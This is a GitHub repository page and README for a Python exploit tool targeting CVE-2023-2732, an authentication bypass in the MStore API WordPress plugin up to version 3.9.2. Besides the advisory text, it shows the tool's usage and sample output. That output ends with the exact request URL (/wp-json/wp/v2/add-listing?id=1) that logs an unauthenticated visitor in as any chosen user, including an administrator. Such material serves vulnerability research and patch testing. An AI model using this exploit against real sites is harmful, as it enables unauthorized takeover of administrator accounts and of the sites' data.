https://github.com/randomrobbiebf/cve-2023-2732
MStore API <= 3.9.2 - Authentication Bypass
https://github.com/randomrobbiebf/cve-2023-2732
Last synced: about 1 year ago
JSON representation
MStore API <= 3.9.2 - Authentication Bypass
- Host: GitHub
- URL: https://github.com/randomrobbiebf/cve-2023-2732
- Owner: RandomRobbieBF
- License: apache-2.0
- Created: 2023-05-25T10:18:48.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2023-05-25T11:09:11.000Z (about 3 years ago)
- Last Synced: 2025-04-13T07:55:48.232Z (about 1 year ago)
- Language: Python
- Size: 10.7 KB
- Stars: 6
- Watchers: 1
- Forks: 7
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# CVE-2023-2732
### MStore API <= 3.9.2 - Authentication Bypass
[https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mstore-api/mstore-api-392-authentication-bypass](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mstore-api/mstore-api-392-authentication-bypass)
Description
---
```
The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.2. This is due to insufficient verification on the user being supplied during the add listing REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.
```
Help
----
```
usage: mstore-api.py [-h] -u URL
options:
-h, --help show this help message and exit
-u URL, --url URL URL of the WordPress site
````
Example Usage
----
```
python3 mstore-api.py -u http://wordpress.lan
The plugin version is below 3.9.3.
Select a user:
1. admin
Enter the user ID: 1
Congratulations a vulnerable system has been found.
How to Exploit:
Visit the following url: http://wordpress.lan/wp-json/wp/v2/add-listing?id=1
Visit http://wordpress.lan and you should be logged in as the user you have chosen.
```